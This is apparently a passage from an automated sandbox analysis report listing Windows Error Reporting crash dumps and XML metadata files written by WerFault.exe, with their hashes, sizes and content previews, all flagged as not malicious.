                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERC290.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:06 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):81332
                                                  Entropy (8bit):2.2729135411778043
                                                  Encrypted:false
                                                  SSDEEP:384:9wYfWMCRn5qro3HH2eAIQkvH765Leey0NLqTFjjRMdUygICh07HDB:9jfWpRnao3Aov20eyBTFv3ICwHF
                                                  MD5:8EAB467AB09552254276850088071968
                                                  SHA1:AFC4CEB16889844441A0BD715FC99670BB791C59
                                                  SHA-256:782DC75410CA2F26ED1885F081FF9EBF4F3E23B0161CA7CEDE080BE9409D9BFE
                                                  SHA-512:43C40A5F7B83E13A888472C22981D5D9A5E203FF703FB689B3A3F7A8C27DE17456545163DEEC3C8C0864C5378E97C5B19116A5797307028E619E7373FC093550
                                                  Malicious:false
                                                  Preview:MDMP..a..... ........|]g............T...........l...\............9..........T.......8...........T...........@*..t.......................................................................................................eJ......L.......GenuineIntel............T.......d...*|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERC30E.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8322
                                                  Entropy (8bit):3.6983538426094067
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJH66CN6YEI7SUbwVgmfH2pBa89beA7wsf7Km:R6lXJa6o6YE0SUb6gmfHieqfn
                                                  MD5:23D4237D8D5D373D8129B275408C6FDB
                                                  SHA1:39276FE255E830A3E365B715DAC462A985DADA07
                                                  SHA-256:E9A4ECC91CC4BF3106C712F9E323940A7493D8B4A398D33DD5BCB40A1AE6F7E9
                                                  SHA-512:D54E7DD2F6AE82A4D6E3DE28D3BC7CBA2BC8A368CC63443F5246D9E36F0A26FF4DDA20D0BFE48C4408AF6728723FB72856C569D6E33C8C7EBB5D487376426488
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.6.8.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERC32F.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4593
                                                  Entropy (8bit):4.458918613539296
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VYZYm8M4JmBZFL+q8C5IKTmd:uIjf0I7qy7VBJSmKTmd
                                                  MD5:C9507C312338638D336A235F0EA8CB67
                                                  SHA1:048873B636FC67FE45154ED138F8086513ED0F73
                                                  SHA-256:84EF8F5E6844BE17317B7250A6FBA835214D59F82B75BEF1E5D8C18155399649
                                                  SHA-512:1932C925D98655E2B8C3CA1147844F26EB9AE2D6BF140EC967AF77E5AFA7B8424071823CB383C501736E694BDBA29EA2CB8E527EB6BA383497551C5B6E02CBD4
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERC54F.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:07 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):81184
                                                  Entropy (8bit):2.2879523107194744
                                                  Encrypted:false
                                                  SSDEEP:384:LYfWMw85nAC31c3HHNHyzrCeoeykvH7i5Leey0NLqTFjjRM94Lx+W4P:MfW785nI5yzoenv+0eyBTFvZS
                                                  MD5:4AEC8C3AF4F641B827F45AD679EC66C5
                                                  SHA1:16BA09B8F4DA97D9E8BFD7FD99A80E6E002D55C7
                                                  SHA-256:B9A4DE42FABE9ED2319F04672CE59B5CABE5FA76BB0C2DED564335FFF2591B97
                                                  SHA-512:D3AA9BA1F2D314529EF5E4740E3EEF2104B3862A9661C942093E2D5F78FF67D1FE5D20010DC965174D6023C9EB35AD2828D170757542D248A5A590BF7B90A3C9
                                                  Malicious:false
                                                  Preview:MDMP..a..... ......./|]g............T...........l...\............9..........T.......8...........T............*..h.......................................................................................................eJ......L.......GenuineIntel............T.......d...*|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERC7F0.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8322
                                                  Entropy (8bit):3.69770360223604
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJHE6C6YEIcSUsScgmfH2pBa89bzbA7wsftRZjm:R6lXJk6C6YEjSUsBgmfHizbqfd6
                                                  MD5:EA5FA650FA2349099C659103FC89A8AF
                                                  SHA1:0897C27B7844C0761AC22F3EE6E7622E383D9B85
                                                  SHA-256:C2CD58DF1DF8C10FE9E9AA15F1811ABECCC1845C4F143E92D2DDAA44C32BD330
                                                  SHA-512:104CD3BA5197F9A3DFAA564144C2942ACC4BA249BA55DB8A81CEB954ABFE79F87F3261A3F8098D78E8425D0401025121B2B322C2397770880EA36BC57D057E77
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.6.8.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERC820.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4593
                                                  Entropy (8bit):4.4602741858812065
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VY8Ym8M4JmBZFu+q8C5IKTmd:uIjf0I7qy7VYJvmKTmd
                                                  MD5:0E851CEA229DC64104BF5589C9141C9B
                                                  SHA1:E58247E1DF0077CD0E7F953B8240620CAA1E1788
                                                  SHA-256:C59D1621651B6376136F9F8F2BBDAFA41AB6A320073BE7C172A69306A094BD92
                                                  SHA-512:FFF2757850AD878622A14963E488F47FBF63BEA4FB036AE5F96341C0A68E25C984AC5C63DFF83702DC62558057E5C7263BDDE7368E546A30418BF1682973FE67
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERC9E3.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:08 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):88194
                                                  Entropy (8bit):2.037461686635821
                                                  Encrypted:false
                                                  SSDEEP:384:/EGM2Q+nAAvaFqz/tCedertTFjjRMkDeDa64QrZT:/EGM2TnAAvRNdeBTFvbEZ
                                                  MD5:C11240CF74A0886A136E7FD5FBBB422B
                                                  SHA1:4041E514CD71D53A77CD8B7CD7A5B4898AE0A163
                                                  SHA-256:C6C498E01E17F6A31C1A8C7DD72585AF092A7D90C8E2DF9FD5F89F1988B85EB2
                                                  SHA-512:1C41AA6387CCCCB4D2B0943EBE2C89AD7B43667C6007ACCFF080B3D3C35DF14BA0EFDC29C8708F8B94328BADA439DF3240AF70A668A328C27FF5D57298F95BFF
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......0|]g........................l................?..........T.......8...........T............+...,..........(...........................................................................................eJ..............GenuineIntel............T.......d...*|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERCA61.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8322
                                                  Entropy (8bit):3.6974146555550824
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJHj6l6YEIiSUsScgmfH2pBa89bQA7wsfnjwm:R6lXJD6l6YEdSUsBgmfHiQqfB
                                                  MD5:6EDD084D88C5F6BAA13ABC4F8599A5F9
                                                  SHA1:9A9E0AFDCB4966F85D7E81C312D73871A3616D34
                                                  SHA-256:1A36A6444D1CD7585C1B0E3BD9453ED499B410AF739145F7438E5F246850B326
                                                  SHA-512:F65FC49E8EDF66F522DBF3D2CDFD2198FB8D78966B2A90454958088A037D359B4CE1E5E5BB25ABAD3B460032E2C7BEF4CBF44E994304D57C0FAB032EAD4837A4
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.6.8.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERCA91.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4593
                                                  Entropy (8bit):4.4587451387546535
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VYVYm8M4JmBZFL+q8C5IKTmd:uIjf0I7qy7VtJKmKTmd
                                                  MD5:37758AEFD2215D0F5751F81168BCEA21
                                                  SHA1:04B33954676C43CB9AF7A2EA3E15C1C933DB433B
                                                  SHA-256:1668137DC20FD0BF266879189D4F7CE90017097EFD7499173ADB4068519616B0
                                                  SHA-512:147587E967B077A2A7DB6BFCEFB24647B107AEF10FE2AD1AC3E162817D91193CF261A3F3B0C7D778E22F5E7D66BAAFC18D9828BFF474600ECA14940FD7C8758D
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERCC45.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:09 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):87770
                                                  Entropy (8bit):2.0490257008305575
                                                  Encrypted:false
                                                  SSDEEP:384:2/M2QRnJ7hz/CxeveeCFtTFjjRMWPgVP6S2cMU:6M2EnJNVveeC7TFvYrp
                                                  MD5:8A7CF25874E63E593EB3E1CF28B5B738
                                                  SHA1:CAD4EE07596C350A50CD0EB5A7926C3C423AC7B8
                                                  SHA-256:625D533F28CFE24714646041596FAABBECD73D586DD5A7C9E858A577D624F979
                                                  SHA-512:0B9C693C82C4DA4319D59FAEFAC41BB274AA1CEAFD9FCBD18AC9D9F68E8DC770BD6EFF7E1BF315C11DC5259CE9323E93825C6D760B100F12B672F2E8524F61DE
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......1|]g........................l................?..........T.......8...........T............+..2+..........(...........................................................................................eJ..............GenuineIntel............T.......d...*|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERCCF2.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8324
                                                  Entropy (8bit):3.6972268114070155
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJHW6C2ze6YEIsSUNSugmfH2pBM89bZA7wsfFqzm:R6lXJ26CD6YETSUNTgmfHoZqfN
                                                  MD5:1EDB29AAA441BAE155CDB2201B029AF5
                                                  SHA1:374F39E938370B8A2A7479C54692162B0EDD77E3
                                                  SHA-256:F771C1A8C69C88AD150CA30AFFB26765039E02AA5F1588BA3F3FCBEEA0CEDF53
                                                  SHA-512:57F8A1AC37AF1000D95E7D18F9AF536362B478274B3451C24474A44EF42393B5B283A6B7CAA5C949EEBFF178C71E717756E2D4DC61C9A00B6B6B638A901B33CE
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.6.8.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD31.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4593
                                                  Entropy (8bit):4.459770887580141
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VY4PYm8M4JmBZFq8+q8C5IKTmd:uIjf0I7qy7V5SJ58mKTmd
                                                  MD5:598E97F70048EFE3B3CDB0F4D8C37071
                                                  SHA1:68A35B35C3108D7C1C7614A81B01B766365D5E7A
                                                  SHA-256:E454DE078E85CD315CF3E09EE94FBBB273E7981680C458CF9F9A543F932A99E4
                                                  SHA-512:F968E773BE8663BBFEEE1684B01AC0ED5FDD482450FE6E761A1B8CD96D0E49DB10B72C3000F9316ED507E6E6CB510836438A3A3A70F832E13E0289047B458B97
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERCFA0.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:09 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):37708
                                                  Entropy (8bit):2.532235838846958
                                                  Encrypted:false
                                                  SSDEEP:192:neCWXwX/2G+XhXVEOzYCfIyt+aBgzU/aR2LKDzUlzZhauuywu2ygL+7k:ea2G+X3LnNt+aB/y2mudhk
                                                  MD5:4C5F671255B4D9EEC19C490252E6ABC9
                                                  SHA1:8C4DEBE141E577549AA0CF5146FD4C0F0F42EAD2
                                                  SHA-256:DE53E1A4829368D332DB98AB66181285205362AAC50C20B0FEC0571FA199253E
                                                  SHA-512:12059CE1D8344F3FFD3464B4431CFD5C95736CDE0740F357A7A07051586EC07D7D6365009D8A0C0EC9F67608DF2FA8629FE1EBB171DFA02B0868B7014676D5E7
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......1|]g............4...............<.......T....-..........T.......8...........T...........H1...b....................... ..............................................................................eJ......d!......GenuineIntel............T.......d...*|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERD08B.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8330
                                                  Entropy (8bit):3.6960096473427373
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJHj6I7Zr6YEIYSUVSjgmfxHpDB89b5A7wsfeySTTm:R6lXJD6I7Zr6YEHSUVSjgmfxM5qfrS2
                                                  MD5:513D30CC889BF28F832853C94D2D4C54
                                                  SHA1:C553243D3731EFE90B0C2A040643411637092EE0
                                                  SHA-256:9E281600EE1FD2ADCC25CE55665D903BAE8D94CB99FFAC778D973EEF07FA8CEE
                                                  SHA-512:98C9226F621D27318E8A4FC5F8F4A42FC89D60D34C1B7F1CCED991149E9D3AA777FF1FB2884CB8D89B5B559C157A59D831BB7F8FE0324D6C449AD6F87B52FA47
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.6.8.<./.P.i.

